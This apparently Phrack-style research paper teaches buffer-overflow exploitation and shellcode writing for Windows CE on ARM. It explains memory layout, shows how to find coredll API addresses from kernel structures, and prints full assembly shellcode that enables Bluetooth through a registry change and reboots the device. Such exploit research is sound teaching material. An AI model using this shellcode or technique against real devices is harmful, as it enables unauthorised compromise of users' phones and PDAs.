The network features of PDAs and mobiles are becoming more and more powerful, so their related security problems are attracting more and more attentions. This paper will show a buffer overflow exploitation example in Windows CE. It will cover knowledges about ARM architecture, memory management and the features of processes and threads of Windows CE. It also shows how to write a shellcode in Windows CE, including knowledges about decoding shellcode of Windows CE with ARM processor.

--[2 - Windows CE Overview

Windows CE is a very popular embedded operating system for PDAs and mobiles. As the name, it's developed by Microsoft. Because of the similar APIs, the Windows developers can easily develop applications for Windows CE. Maybe this is an important reason that makes Windows CE popular. Windows CE 5.0 is the latest version, but Windows CE.net(4.2) is the most useful version, and this paper is based on Windows CE.net.

For marketing reason, Windows Mobile Software for Pocket PC and Smartphone are considered as independent products, but they are also based on the core of Windows CE.

By default, Windows CE is in little-endian mode and it supports several processors.

--[3 - ARM Architecture

ARM processor is the most popular chip in PDAs and mobiles, almost all of the embedded devices use ARM as CPU. ARM processors are typical RISC processors in that they implement a load/store architecture. Only load and store instructions can access memory. Data processing instructions operate on register contents only.

There are six major versions of ARM architecture. These are denoted by the version numbers 1 to 6.

ARM processors support up to seven processor modes, depending on the architecture version. These modes are: User, FIQ-Fast Interrupt Request, IRQ-Interrupt Request, Supervisor, Abort, Undefined and System. The System mode requires ARM architecture v4 and above. All modes except User mode are referred to as privileged mode. Applications usually execute in User mode, but on Pocket PC all applications appear to run in kernel mode, and we'll talk about it late.

ARM processors have 37 registers. The registers are arranged in partially overlapping banks. There is a different register bank for each processor mode. The banked registers give rapid context switching for dealing with processor exceptions and privileged operations.

In ARM architecture v3 and above, there are 30 general-purpose 32-bit registers, the program counter(pc) register, the Current Program Status Register(CPSR) and five Saved Program Status Registers(SPSRs). Fifteen general-purpose registers are visible at any one time, depending on the current processor mode. The visible general-purpose registers are from r0 to r14.

By convention, r13 is used as a stack pointer(sp) in ARM assembly language. The C and C++ compilers always use r13 as the stack pointer.

In User mode and System mode, r14 is used as a link register(lr) to store the return address when a subroutine call is made. It can also be used as a general-purpose register if the return address is stored in the stack.

The program counter is accessed as r15(pc). It is incremented by four bytes for each instruction in ARM state, or by two bytes in Thumb state. Branch instructions load the destination address into the pc register.

You can load the pc register directly using data operation instructions. This feature is different from other processors and it is useful while writing shellcode.

--[4 - Windows CE Memory Management

Understanding memory management is very important for buffer overflow exploit. The memory management of Windows CE is very different from other operating systems, even other Windows systems.

Windows CE uses ROM (read only memory) and RAM (random access memory).

The ROM stores the entire operating system, as well as the applications that are bundled with the system. In this sense, the ROM in a Windows CE system is like a small read-only hard disk. The data in ROM can be maintained without power of battery. ROM-based DLL files can be designated as Execute in Place. XIP is a new feature of Windows CE.net. That is, they're executed directly from the ROM instead of being loaded into program RAM and then executed. It is a big advantage for embedded systems. The DLL code doesn't take up valuable program RAM and it doesn't have to be copied into RAM before it's launched. So it takes less time to start an application. DLL files that aren't in ROM but are contained in the object store or on a Flash memory storage card aren't executed in place; they're copied into the RAM and then executed.

The RAM in a Windows CE system is divided into two areas: program memory and object store.

The object store can be considered something like a permanent virtual RAM disk. Unlike the RAM disks on a PC, the object store maintains the files stored in it even if the system is turned off. This is the reason that

Windows CE devices typically have a main battery and a backup battery. They provide power for the RAM to maintain the files in the object store. Even when the user hits the reset button, the Windows CE kernel starts up looking for a previously created object store in RAM and uses that store if it finds one.

Another area of the RAM is used for the program memory. Program memory is used like the RAM in personal computers. It stores the heaps and stacks for the applications that are running. The boundary between the object store and the program RAM is adjustable. The user can move the dividing line between object store and program RAM using the System Control Panel applet.

Windows CE is a 32-bit operating system, so it supports 4GB virtual address space. The layout is as following:

```
+----------------------------------------+ 0xFFFFFFFF
|   |   |  Kernel Virtual Address:       |
|   | 2 |  KPAGE Trap Area,              |
|   | G |  KDataStruct, etc              |
|   | B |  ...                           |
|   |   |--------------------------------+ 0xF0000000
| 4 | K |  Static Mapped Virtual Address |
| G | E |  ...                           |
| B | R |  ...                           |
|   | N |--------------------------------+ 0xC4000000
| V | E |  NK.EXE                        |
| I | L |--------------------------------+ 0xC2000000
| R |   |  ...                           |
| T |   |  ...                           |
| U |---|--------------------------------+ 0x80000000
| A |   |  Memory Mapped Files           |
| L | 2 |  ...                           |
|   | G |--------------------------------+ 0x42000000
| A | B |  Slot 32 Process 32            |
| D |   |--------------------------------+ 0x40000000
| D | U |  ...                           |
| R | S |--------------------------------+ 0x08000000
| E | E |  Slot 3  DEVICE.EXE            |
| S | R |--------------------------------+ 0x06000000
| S |   |  Slot 2  FILESYS.EXE           |
|   |   |--------------------------------+ 0x04000000
|   |   |  Slot 1  XIP DLLs              |
|   |   |--------------------------------+ 0x02000000
|   |   |  Slot 0  Current Process       |
+---+---+--------------------------------+ 0x00000000
```

The upper 2GB is kernel space, used by the system for its own data. And the lower 2GB is user space. From 0x42000000 to below 0x80000000 memories are used for large memory allocations, such as memory-mapped files, object store is in here. From 0 to below 0x42000000 memories are divided into 33 slots, each of which is 32MB.

Slot 0 is very important; it's for the currently running process. The virtual address space layout is as following:

```
+---+------------------------------------+ 0x02000000
|   |     DLL Virtual Memory Allocations |
| S |  +---------------------------------|
| L |  |  ROM DLLs:R/W Data              |
| O |  |---------------------------------|
| T |  |  RAM DLL+OverFlow ROM DLL:      |
| 0 |  |  Code+Data                      |
|   |  +---------------------------------|
| C +------+-----------------------------|
| U        |                  A          |
| R        V                  |          |
| R +-------------------------+----------|
| E |   General Virtual Memory Allocations|
| N |  +---------------------------------|
```

```
| T |   | Process VirtualAlloc() calls   |
|   |   |--------------------------------|
| P |   |      Thread Stack              |
| R |   |--------------------------------|
| O |   |      Process Heap              |
| C |   |--------------------------------|
| E |   |      Thread Stack              |
| S |---+--------------------------------|
| S |     Process Code and Data          |
|   |------------------------------------+ 0x00010000
|   |    Guard Section(64K)+UserKInfo    |
+---+------------------------------------+ 0x00000000
```

First 64 KB reserved by the OS. The process' code and data are mapped from 0x00010000, then followed by stacks and heaps. DLLs loaded into the top address. One of the new features of Windows CE.net is the expansion of an application's virtual address space from 32 MB, in earlier versions of Windows CE, to 64 MB, because the Slot 1 is used as XIP.

--[5 - Windows CE Processes and Threads

Windows CE treats processes in a different way from other Windows systems. Windows CE limits 32 processes being run at any one time. When the system starts, at least four processes are created: NK.EXE, which provides the kernel service, it's always in slot 97; FILESYS.EXE, which provides file system service, it's always in slot 2; DEVICE.EXE, which loads and maintains the device drivers for the system, it's in slot 3 normally; and GWES.EXE, which provides the GUI support, it's in slot 4 normally. The other processes are also started, such as EXPLORER.EXE.

Shell is an interesting process because it's not even in the ROM. SHELL.EXE is the Windows CE side of CESH, the command line-based monitor. The only way to load it is by connecting the system to the PC debugging station so that the file can be automatically downloaded from the PC. When you use Platform Builder to debug the Windows CE system, the SHELL.EXE will be loaded into the slot after FILESYS.EXE.

Threads under Windows CE are similar to threads under other Windows systems. Each process at least has a primary thread associated with it upon starting even if it never explicitly created one. And a process can create any number of additional threads, it's only limited by available memory.

Each thread belongs to a particular process and shares the same memory space. But SetProcPermissions(-1) gives the current thread access to any process. Each thread has an ID, a private stack and a set of registers. The stack size of all threads created within a process is set by the linker when the application is compiled.

The IDs of process and thread in Windows CE are the handles of the corresponding process and thread. It's funny, but it's useful while programming.

When a process is loaded, system will assign the next available slot to it . DLLs loaded into the slot and then followed by the stack and default process heap. After this, then executed.

When a process' thread is scheduled, system will copy from its slot into slot 0. It isn't a real copy operation; it seems just mapped into slot 0. This is mapped back to the original slot allocated to the process if the process becomes inactive. Kernel, file system, windowing system all runs in their own slots

Processes allocate stack for each thread, the default size is 64KB, depending on link parameter when the program is compiled. The top 2KB is used to guard against stack overflow, we can't destroy this memory, otherwise, the system will freeze. And the remained available for use.

Variables declared inside functions are allocated in the stack. Thread's stack memory is reclaimed when it terminates.

--[6 - Windows CE API Address Search Technology

We must have a shellcode to run under Windows CE before exploit. Windows CE implements as Win32 compatibility. Coredll provides the entry points for most APIs supported by Windows CE. So it is loaded by every process. The coredll.dll is just like the kernel32.dll and ntdll.dll of other Win32 systems. We have to search necessary API addresses from the coredll.dll and then use these APIs to implement our shellcode. The traditional method to implement shellcode under other Win32 systems is to locate the base address of kernel32.dll via PEB structure and then search API addresses via PE header.

Firstly, we have to locate the base address of the coredll.dll. Is there a structure like PEB under Windows CE? The answer is yes. KDataStruct is an important kernel structure that can be accessed from user mode using the fixed address PUserKData and it keeps important system data, such as module list, kernel heap, and API set pointer table (SystemAPISets).

KDataStruct is defined in nkarm.h:

```
// WINCE420\PRIVATE\WINCEOS\COREOS\NK\INC\nkarm.h
struct KDataStruct {
    LPDWORD lpvTls;         /* 0x000 Current thread local storage pointer */
    HANDLE  ahSys[NUM_SYS_HANDLES]; /* 0x004 If this moves, change kapi.h */
    char    bResched;       /* 0x084 reschedule flag */
    char    cNest;          /* 0x085 kernel exception nesting */
    char    bPowerOff;      /* 0x086 TRUE during "power off" processing */
    char    bProfileOn;     /* 0x087 TRUE if profiling enabled */
    ulong   unused;         /* 0x088 unused */
    ulong   rsvd2;          /* 0x08c was DiffMSec */
    PPROCESS pCurPrc;       /* 0x090 ptr to current PROCESS struct */
    PTHREAD pCurThd;        /* 0x094 ptr to current THREAD struct */
    DWORD   dwKCRes;        /* 0x098  */
    ulong   handleBase;     /* 0x09c handle table base address */
    PSECTION aSections[64]; /* 0x0a0 section table for virutal memory */
    LPEVENT alpeIntrEvents[SYSINTR_MAX_DEVICES];/* 0x1a0 */
    LPVOID  alpvIntrData[SYSINTR_MAX_DEVICES];  /* 0x220 */
    ulong   pAPIReturn;     /* 0x2a0 direct API return address for kernel mode */
    uchar   *pMap;          /* 0x2a4 ptr to MemoryMap array */
    DWORD   dwInDebugger;   /* 0x2a8 !0 when in debugger */
    PTHREAD pCurFPUOwner;   /* 0x2ac current FPU owner */
    PPROCESS pCpuASIDPrc;   /* 0x2b0 current ASID proc */
    long    nMemForPT;      /* 0x2b4 - Memory used for PageTables */

    long    alPad[18];      /* 0x2b8 - padding */
    DWORD   aInfo[32];      /* 0x300 - misc. kernel info */
    // WINCE420\PUBLIC\COMMON\OAK\INC\pkfuncs.h
        #define KINX_PROCARRAY  0   /* 0x300 address of process array */
        #define KINX_PAGESIZE   1   /* 0x304 system page size */
        #define KINX_PFN_SHIFT  2   /* 0x308 shift for page # in PTE */
        #define KINX_PFN_MASK   3   /* 0x30c mask for page # in PTE */
        #define KINX_PAGEFREE   4   /* 0x310 # of free physical pages */
        #define KINX_SYSPAGES   5   /* 0x314 # of pages used by kernel */
        #define KINX_KHEAP      6   /* 0x318 ptr to kernel heap array */
        #define KINX_SECTIONS   7   /* 0x31c ptr to SectionTable array */
        #define KINX_MEMINFO    8   /* 0x320 ptr to system MemoryInfo struct */
        #define KINX_MODULES    9   /* 0x324 ptr to module list */
        #define KINX_DLL_LOW   10   /* 0x328 lower bound of DLL shared space */
        #define KINX_NUMPAGES  11   /* 0x32c total # of RAM pages */
        #define KINX_PTOC      12   /* 0x330 ptr to ROM table of contents */
        #define KINX_KDATA_ADDR 13  /* 0x334 kernel mode version of KData */
        #define KINX_GWESHEAPINFO 14 /* 0x338 Current amount of gwes heap in use */
        #define KINX_TIMEZONEBIAS 15 /* 0x33c Fast timezone bias info */
        #define KINX_PENDEVENTS 16  /* 0x340 bit mask for pending interrupt events */
        #define KINX_KERNRESERVE 17 /* 0x344 number of kernel reserved pages */
        #define KINX_API_MASK 18    /* 0x348 bit mask for registered api sets */
        #define KINX_NLS_CP 19      /* 0x34c hiword OEM code page, loword ANSI code page
```

```
*/
        #define KINX_NLS_SYSLOC 20  /* 0x350 Default System locale */
        #define KINX_NLS_USERLOC 21 /* 0x354 Default User locale */
        #define KINX_HEAP_WASTE 22  /* 0x358 Kernel heap wasted space */
        #define KINX_DEBUGGER 23    /* 0x35c For use by debugger for protocol communicati
on */
        #define KINX_APISETS 24     /* 0x360 APIset pointers */
        #define KINX_MINPAGEFREE 25 /* 0x364 water mark of the minimum number of free pag
es */
        #define KINX_CELOGSTATUS 26 /* 0x368 CeLog status flags */
        #define KINX_NKSECTION  27  /* 0x36c Address of NKSection */
        #define KINX_PWR_EVTS   28  /* 0x370 Events to be set after power on */

        #define KINX_NKSIG     31   /* 0x37c last entry of KINFO -- signature when NK is
ready */
        #define NKSIG          0x4E4B5347       /* signature "NKSG" */
                            /* 0x380 - interlocked api code */
                            /* 0x400 - end */
};  /* KDataStruct */

/* High memory layout
 *
 * This structure is mapped in at the end of the 4GB virtual
 * address space.
 *
 *  0xFFFD0000 - first level page table (uncached) (2nd half is r/o)
 *  0xFFFD4000 - disabled for protection
 *  0xFFFE0000 - second level page tables (uncached)
 *  0xFFFE4000 - disabled for protection
 *  0xFFFF0000 - exception vectors
 *  0xFFFF0400 - not used (r/o)
 *  0xFFFF1000 - disabled for protection
 *  0xFFFF2000 - r/o (physical overlaps with vectors)
 *  0xFFFF2400 - Interrupt stack (1k)
 *  0xFFFF2800 - r/o (physical overlaps with Abort stack & FIQ stack)
 *  0xFFFF3000 - disabled for protection
 *  0xFFFF4000 - r/o (physical memory overlaps with vectors & intr. stack & FIQ stack)
 *  0xFFFF4900 - Abort stack (2k - 256 bytes)
 *  0xFFFF5000 - disabled for protection
 *  0xFFFF6000 - r/o (physical memory overlaps with vectors & intr. stack)
 *  0xFFFF6800 - FIQ stack (256 bytes)
 *  0xFFFF6900 - r/o (physical memory overlaps with Abort stack)
 *  0xFFFF7000 - disabled
 *  0xFFFFC000 - kernel stack
 *  0xFFFFC800 - KDataStruct
 *  0xFFFFCC00 - disabled for protection (2nd level page table for 0xFFF00000)
 */
```

The value of PUserKData is fixed as 0xFFFFC800 on the ARM processor, and 0x00005800 on other CPUs. The last member of KDataStruct is aInfo. It offsets 0x300 from the start address of KDataStruct structure. Member aInfo is a DWORD array, there is a pointer to module list in index 9(KINX_MODULES), and it’s defined in pkfuncs.h. So offsets 0x324 from 0xFFFFC800 is the pointer to the module list.

Well, let’s look at the Module structure. I marked the offsets of the Module structure as following:

```
// WINCE420\PRIVATE\WINCEOS\COREOS\NK\INC\kernel.h
typedef struct Module {
    LPVOID      lpSelf;                 /* 0x00 Self pointer for validation */
    PMODULE     pMod;                   /* 0x04 Next module in chain */
    LPWSTR      lpszModName;            /* 0x08 Module name */
    DWORD       inuse;                  /* 0x0c Bit vector of use */
    DWORD       calledfunc;             /* 0x10 Called entry but not exit */
    WORD        refcnt[MAX_PROCESSES];  /* 0x14 Reference count per process*/
    LPVOID      BasePtr;                /* 0x54 Base pointer of dll load (not 0 based) */
    DWORD       DbgFlags;               /* 0x58 Debug flags */
    LPDBGPARAM  ZonePtr;                /* 0x5c Debug zone pointer */
```

```
    ulong       startip;                /* 0x60 0 based entrypoint */
    openexe_t   oe;                     /* 0x64 Pointer to executable file handle */
    e32_lite    e32;                    /* 0x74 E32 header */
    // WINCE420\PUBLIC\COMMON\OAK\INC\pehdr.h
      typedef struct e32_lite {           /* PE 32-bit .EXE header              */
          unsigned short  e32_objcnt;     /* 0x74 Number of memory objects            */
          BYTE            e32_cevermajor; /* 0x76 version of CE built for             */
          BYTE            e32_ceverminor; /* 0x77 version of CE built for             */
          unsigned long   e32_stackmax;   /* 0x78 Maximum stack size                  */
          unsigned long   e32_vbase;      /* 0x7c Virtual base address of module      */
          unsigned long   e32_vsize;      /* 0x80 Virtual size of the entire image    */
          unsigned long e32_sect14rva;    /* 0x84 section 14 rva */
          unsigned long e32_sect14size;   /* 0x88 section 14 size */
          struct info e32_unit[LITE_EXTRA]; /* 0x8c  Array of extra info units     */
            // WINCE420\PUBLIC\COMMON\OAK\INC\pehdr.h
            struct info {                       /* Extra information header block      */
                unsigned long   rva;            /* Virtual relative address of info    */
                unsigned long   size;           /* Size of information block           */
            }
            // WINCE420\PUBLIC\COMMON\OAK\INC\pehdr.h
            #define EXP             0           /* 0x8c Export table position          */
            #define IMP             1           /* 0x94 Import table position          */
            #define RES             2           /* 0x9c Resource table position        */
            #define EXC             3           /* 0xa4 Exception table position       */
            #define SEC             4           /* 0xac Security table position        */
            #define FIX             5           /* 0xb4 Fixup table position           */

            #define LITE_EXTRA      6           /* Only first 6 used by NK */
      } e32_lite, *LPe32_list;
    o32_lite    *o32_ptr;               /* 0xbc  O32 chain ptr */
    DWORD       dwNoNotify;             /* 0xc0  1 bit per process, set if notifications 
disabled */
    WORD        wFlags;                 /* 0xc4 */
    BYTE        bTrustLevel;            /* 0xc6 */
    BYTE        bPadding;               /* 0xc7 */
    PMODULE     pmodResource;           /* 0xc8 module that contains the resources */
    DWORD       rwLow;                  /* 0xcc base address of RW section for ROM DLL */
    DWORD       rwHigh;                 /* 0xd0 high address RW section for ROM DLL */
    PGPOOL_Q    pgqueue;                /* 0xcc list of the page owned by the module */
} Module;
```

Module structure is defined in kernel.h. The third member of Module structure is lpszModName, which is the module name string pointer and it offsets 0x08 from the start of the Module structure. The Module name is unicode string. The second member of Module structure is pMod, which is an address that point to the next module in chain. So we can locate the coredll module by comparing the unicode string of its name.

Offsets 0x74 from the start of Module structure has an e32 member and it is an e32_lite structure. Let’s look at the e32_lite structure, which defined in pehdr.h. In the e32_lite structure, member e32_vbase will tell us the virtual base address of the module. It offsets 0x7c from the start of Module structure. We else noticed the member of e32_unit[LITE_EXTRA], it is an info structure array. LITE_EXTRA is defined to 6 in the head of pehdr.h, only the first 6 used by NK and the first is export table position. So offsets 0x8c from the start of Module structure is the virtual relative address of export table position of the module.

From now on, we got the virtual base address of the coredll.dll and its virtual relative address of export table position.

I wrote the following small program to list all modules of the system:

```
; SetProcessorMode.s

    AREA    |.text|, CODE, ARM

    EXPORT    |SetProcessorMode|
|SetProcessorMode| PROC
```

```
    mov     r1, lr     ; different modes use different lr - save it
    msr     cpsr_c, r0 ; assign control bits of CPSR
    mov     pc, r1     ; return

    END

// list.cpp
/*
...
01F60000 coredll.dll
*/

#include "stdafx.h"

extern "C" void __stdcall SetProcessorMode(DWORD pMode);

int WINAPI WinMain( HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPTSTR    lpCmdLine,
                    int       nCmdShow)
{
    FILE *fp;
    unsigned int KDataStruct = 0xFFFFC800;
    void *Modules     = NULL,
         *BaseAddress = NULL,
         *DllName     = NULL;

        // switch to user mode
        //SetProcessorMode(0x10);

    if ( (fp = fopen("\\modules.txt", "w")) == NULL )
    {
        return 1;
    }

    // aInfo[KINX_MODULES]
    Modules = *( ( void ** )(KDataStruct + 0x324));

    while (Modules) {
        BaseAddress = *( ( void ** )( ( unsigned char * )Modules + 0x7c ) );
        DllName     = *( ( void ** )( ( unsigned char * )Modules + 0x8 ) );

        fprintf(fp, "%08X %ls\n", BaseAddress, DllName);

        Modules = *( ( void ** )( ( unsigned char * )Modules + 0x4 ) );
    }

    fclose(fp);
    return(EXIT_SUCCESS);
}
```

In my environment, the Module structure is 0x8F453128 which in the kernel space. Most of Pocket PC ROMs were builded with Enable Full Kernel Mode option, so all applications appear to run in kernel mode. The first 5 bits of the Psr register is 0x1F when debugging, that means the ARM processor runs in system mode. This value defined in nkarm.h:

```
// ARM processor modes
#define USER_MODE   0x10    // 0b10000
#define FIQ_MODE    0x11    // 0b10001
#define IRQ_MODE    0x12    // 0b10010
#define SVC_MODE    0x13    // 0b10011
#define ABORT_MODE  0x17    // 0b10111
#define UNDEF_MODE  0x1b    // 0b11011
#define SYSTEM_MODE 0x1f    // 0b11111
```

I wrote a small function in assemble to switch processor mode because the EVC doesn’t support inline assemble. The program won’t get the value of BaseAddress and DllName when I switched the processor to user mode. It raised a access violate exception.

I use this program to get the virtual base address of the coredll.dll is 0x01F60000 without change processor mode. But this address is invalid when I use EVC debugger to look into and the valid data is start from 0x01F61000. I think maybe Windows CE is for the purpose of save memory space or time, so it doesn’t load the header of dll files.

Because we’ve got the virtual base address of the coredll.dll and its virtual relative address of export table position, so through repeat compare the API name by IMAGE_EXPORT_DIRECTORY structure, we can get the API address. IMAGE_EXPORT_DIRECTORY structure is just like other Win32 system’s, which defined in winnt.h:

```
// WINCE420\PUBLIC\COMMON\SDK\INC\winnt.h
typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;        /* 0x00 */
    DWORD   TimeDateStamp;          /* 0x04 */
    WORD    MajorVersion;           /* 0x08 */
    WORD    MinorVersion;           /* 0x0a */
    DWORD   Name;                   /* 0x0c */
    DWORD   Base;                   /* 0x10 */
    DWORD   NumberOfFunctions;      /* 0x14 */
    DWORD   NumberOfNames;          /* 0x18 */
    DWORD   AddressOfFunctions;     // 0x1c RVA from base of image
    DWORD   AddressOfNames;         // 0x20 RVA from base of image
    DWORD   AddressOfNameOrdinals;  // 0x24 RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
```

--[7 - The Shellcode for Windows CE

There are something to notice before writing shellcode for Windows CE. Windows CE uses r0-r3 as the first to fourth parameters of API, if the parameters of API larger than four that Windows CE will use stack to store the other parameters. So it will be careful to write shellcode, because the shellcode will stay in the stack. The test.asm is our shellcode:

```
; Idea from WinCE4.Dust written by Ratter/29A
;
; API Address Search
; san@xfocus.org
;
; armasm test.asm
; link /MACHINE:ARM /SUBSYSTEM:WINDOWSCE test.obj

    CODE32

    EXPORT  WinMainCRTStartup

    AREA    .text, CODE, ARM

test_start

; r11 - base pointer
test_code_start   PROC
    bl      get_export_section

    mov     r2, #4          ; functions number
    bl      find_func

    sub     sp, sp, #0x89, 30 ; weird after buffer overflow

    add     r0, sp, #8
    str     r0, [sp]
    mov     r3, #2
    mov     r2, #0
    adr     r1, key
    mov     r0, #0xA, 2
    mov     lr, pc
    ldr     pc, [r8, #-12] ; RegOpenKeyExW
```

```
    mov     r0, #1
    str     r0, [sp, #0xC]
    mov     r3, #4
    str     r3, [sp, #4]
    add     r1, sp, #0xC
    str     r1, [sp]
    ;mov     r2, #0
    adr     r1, val
    ldr     r0, [sp, #8]
    mov     lr, pc
    ldr     pc, [r8, #-8]  ; RegSetValueExW

    ldr     r0, [sp, #8]
    mov     lr, pc
    ldr     pc, [r8, #-4]  ; RegCloseKey

    adr     r0, sf
    ldr     r0, [r0]
    ;ldr     r0, =0x0101003c
    mov     r1, #0
    mov     r2, #0
    mov     r3, #0
    mov     lr, pc
    ldr     pc, [r8, #-16] ; KernelIoControl

    ; basic wide string compare
wstrcmp   PROC
wstrcmp_iterate
    ldrh    r2, [r0], #2
    ldrh    r3, [r1], #2

    cmp     r2, #0
    cmpeq   r3, #0
    moveq   pc, lr

    cmp     r2, r3
    beq     wstrcmp_iterate

    mov     pc, lr
    ENDP

; output:
;  r0 - coredll base addr
;  r1 - export section addr
get_export_section   PROC
    mov     r11, lr
    adr     r4, kd
    ldr     r4, [r4]
    ;ldr     r4, =0xffffc800     ; KDataStruct
    ldr     r5, =0x324          ; aInfo[KINX_MODULES]

    add     r5, r4, r5
    ldr     r5, [r5]

    ; r5 now points to first module

    mov     r6, r5
    mov     r7, #0

iterate
    ldr     r0, [r6, #8]        ; get dll name
    adr     r1, coredll
    bl      wstrcmp             ; compare with coredll.dll

    ldreq   r7, [r6, #0x7c]     ; get dll base
    ldreq   r8, [r6, #0x8c]     ; get export section rva

    add     r9, r7, r8
    beq     got_coredllbase     ; is it what we’re looking for?
```

```
    ldr     r6, [r6, #4]
    cmp     r6, #0
    cmpne   r6, r5
    bne     iterate             ; nope, go on

got_coredllbase
    mov     r0, r7
    add     r1, r8, r7          ; yep, we've got imagebase
                                ; and export section pointer

    mov     pc, r11
    ENDP

; r0 - coredll base addr
; r1 - export section addr
; r2 - function name addr
find_func   PROC
    adr     r8, fn
find_func_loop
    ldr     r4, [r1, #0x20]     ; AddressOfNames
    add     r4, r4, r0

    mov     r6, #0              ; counter

find_start
    ldr     r7, [r4], #4
    add     r7, r7, r0          ; function name pointer
    ;mov     r8, r2             ; find function name

    mov     r10, #0
hash_loop
    ldrb    r9, [r7], #1
    cmp     r9, #0
    beq     hash_end
    add     r10, r9, r10, ROR #7
    b       hash_loop

hash_end
    ldr     r9, [r8]
    cmp     r10, r9 ; compare the hash
    addne   r6, r6, #1
    bne     find_start

    ldr     r5, [r1, #0x24]     ; AddressOfNameOrdinals
    add     r5, r5, r0
    add     r6, r6, r6
    ldrh    r9, [r5, r6]        ; Ordinals
    ldr     r5, [r1, #0x1c]     ; AddressOfFunctions
    add     r5, r5, r0
    ldr     r9, [r5, r9, LSL #2]; function address rva
    add     r9, r9, r0          ; function address

    str     r9, [r8], #4
    subs    r2, r2, #1
    bne     find_func_loop

    mov     pc, lr
    ENDP

kd  DCB     0x00, 0xc8, 0xff, 0xff ; 0xffffc800
sf  DCB     0x3c, 0x00, 0x01, 0x01 ; 0x0101003c

fn  DCB     0xe7, 0x9d, 0x3a, 0x28 ; KernelIoControl
    DCB     0x51, 0xdf, 0xf7, 0x0b ; RegOpenKeyExW
    DCB     0xc0, 0xfe, 0xc0, 0xd8 ; RegSetValueExW
    DCB     0x83, 0x17, 0x51, 0x0e ; RegCloseKey

key DCB    "S", 0x0, "O", 0x0, "F", 0x0, "T", 0x0, "W", 0x0, "A", 0x0, "R", 0x0, "E", 0x0
    DCB    "\\", 0x0, "\\", 0x0, "W", 0x0, "i", 0x0, "d", 0x0, "c", 0x0, "o", 0x0, "m", 0
```

```
x0
    DCB    "m", 0x0, "\\", 0x0, "\\", 0x0, "B", 0x0, "t", 0x0, "C", 0x0, "o", 0x0, "n", 0
x0
    DCB    "f", 0x0, "i", 0x0, "g", 0x0, "\\", 0x0, "\\", 0x0, "G", 0x0, "e", 0x0, "n", 0
x0
    DCB    "e", 0x0, "r", 0x0, "a", 0x0, "l", 0x0, 0x0, 0x0, 0x0, 0x0

val DCB    "S", 0x0, "t", 0x0, "a", 0x0, "c", 0x0, "k", 0x0, "M", 0x0, "o", 0x0, "d", 0x0
    DCB    "e", 0x0, 0x0, 0x0

coredll DCB    "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0
        DCB    ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0

    ALIGN   4

    LTORG
test_end

WinMainCRTStartup PROC
    b     test_code_start
    ENDP

    END
```

This shellcode constructs with three parts. Firstly, it calls the get_export_section function to obtain the virtual base address of coredll and its virtual relative address of export table position. The r0 and r1 stored them. Second, it calls the find_func function to obtain the API address through IMAGE_EXPORT_DIRECTORY structure and stores the API addresses to its own hash value address. The last part is the function implement of our shellcode, it changes the register key HKLM\SOFTWARE\WIDCOMM\General\btconfig\StackMode to 1 and then uses KernelIoControl to soft restart the system.

Windows CE.NET provides BthGetMode and BthSetMode to get and set the bluetooth state. But HP IPAQs use the Widcomm stack which has its own API, so BthSetMode can't open the bluetooth for IPAQ. Well, there is another way to open bluetooth in IPAQs(My PDA is HP1940). Just changing HKLM\SOFTWARE\WIDCOMM\General\btconfig\StackMode to 1 and reset the PDA, the bluetooth will open after system restart. This method is not pretty, but it works.

Well, let's look at the get_export_section function. Why I commented off "ldr r4, =0xffffc800" instruction? We must notice ARM assembly language's LDR pseudo-instruction. It can load a register with a 32-bit constant value or an address. The instruction "ldr r4, =0xffffc800" will be "ldr r4, [pc, #0x108]" in EVC debugger, and the r4 register depends on the program. So the r4 register won't get the 0xffffc800 value in shellcode, and the shellcode will fail. The instruction "ldr r5, =0x324" will be "mov r5, #0xC9, 30" in EVC debugger, its ok when the shellcode is executed . The simple solution is to write the large constant value among the shellcode, and then use the ADR pseudo-instruction to load the address of value to register and then read the memory to register.

To save size, we can use hash technology to encode the API names. Each API name will be encoded into 4 bytes. The hash technology is come from LSD's Win32 Assembly Components.

The compile method is as following:

```
armasm test.asm
link /MACHINE:ARM /SUBSYSTEM:WINDOWSCE test.obj
```

You must install the EVC environment first. After this, we can obtain the necessary opcodes from EVC debugger or IDAPro or hex editors.

--[8 - System Call

First, let's look at the implementation of an API in coredll.dll:

```
.text:01F75040                 EXPORT PowerOffSystem
.text:01F75040 PowerOffSystem                          ; CODE XREF: SetSystemPowerState+5
8\031p
.text:01F75040                 STMFD   SP!, {R4,R5,LR}
.text:01F75044                 LDR     R5, =0xFFFFC800
.text:01F75048                 LDR     R4, =unk_1FC6760
.text:01F7504C                 LDR     R0, [R5]        ; UTlsPtr
.text:01F75050                 LDR     R1, [R0,#-0x14] ; KTHRDINFO
.text:01F75054                 TST     R1, #1
.text:01F75058                 LDRNE   R0, [R4]        ; 0x8004B138 ppfnMethods
.text:01F7505C                 CMPNE   R0, #0
.text:01F75060                 LDRNE   R1, [R0,#0x13C] ; 0x8006C92C SC_PowerOffSystem
.text:01F75064                 LDREQ   R1, =0xF000FEC4 ; trap address of SC_PowerOffSyste
m
.text:01F75068                 MOV     LR, PC
.text:01F7506C                 MOV     PC, R1
.text:01F75070                 LDR     R3, [R5]
.text:01F75074                 LDR     R0, [R3,#-0x14]
.text:01F75078                 TST     R0, #1
.text:01F7507C                 LDRNE   R0, [R4]
.text:01F75080                 CMPNE   R0, #0
.text:01F75084                 LDRNE   R0, [R0,#0x25C] ; SC_KillThreadIfNeeded
.text:01F75088                 MOVNE   LR, PC
.text:01F7508C                 MOVNE   PC, R0
.text:01F75090                 LDMFD   SP!, {R4,R5,PC}
.text:01F75090 ; End of function PowerOffSystem
```

Debugging into this API, we found the system will check the KTHRDINFO first. This value was initialized in the MDCreateMainThread2 function of PRIVATE\WINCEOS\COREOS\NK\KERNEL\ARM\mdram.c:

```
...
    if (kmode || bAllKMode) {
        pTh->ctx.Psr = KERNEL_MODE;
        KTHRDINFO (pTh) |= UTLS_INKMODE;
    } else {
        pTh->ctx.Psr = USER_MODE;
        KTHRDINFO (pTh) &= ~UTLS_INKMODE;
    }
...
```

